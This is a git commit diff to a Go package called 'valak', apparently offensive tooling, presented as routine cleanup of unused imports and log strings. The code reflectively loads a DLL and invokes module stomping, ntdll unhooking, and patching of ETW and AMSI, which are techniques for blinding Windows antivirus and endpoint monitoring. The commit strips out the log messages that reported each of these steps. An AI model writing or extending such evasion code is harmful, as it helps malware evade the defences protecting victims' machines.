code cleanup: remove dead api vars, unused imports, log strings

This commit is contained in:
2026-07-18 09:30:00 +01:00
parent 7ecc30f1cd
commit ef721388df
4 changed files with 4 additions and 535 deletions
+1 -9
View File
@@ -7,7 +7,6 @@ package valak
import (
"encoding/binary"
"fmt"
"log"
"syscall"
"time"
"unsafe"
@@ -192,7 +191,6 @@ func loadDLL() error {
syscall.SyscallN(procInit)
}
log.Printf("[valak] DLL reflectively loaded (%d bytes)", len(data))
dllLoaded = true
return nil
}
@@ -379,23 +377,17 @@ func PatchAll() {
if procStomp != 0 {
syscall.SyscallN(procStomp, dllBase)
if procIsRelocated != 0 {
r, _, _ := syscall.SyscallN(procIsRelocated)
if r != 0 {
log.Printf("[valak] module stomped")
}
_, _, _ = syscall.SyscallN(procIsRelocated)
}
}
if procUnhookNtdll != 0 {
syscall.SyscallN(procUnhookNtdll)
log.Printf("[valak] ntdll unhooked")
}
if procPatchETW != 0 {
syscall.SyscallN(procPatchETW)
log.Printf("[valak] ETW patched")
}
if procPatchAMSI != 0 {
syscall.SyscallN(procPatchAMSI)
log.Printf("[valak] AMSI patched")
}
InitText()
}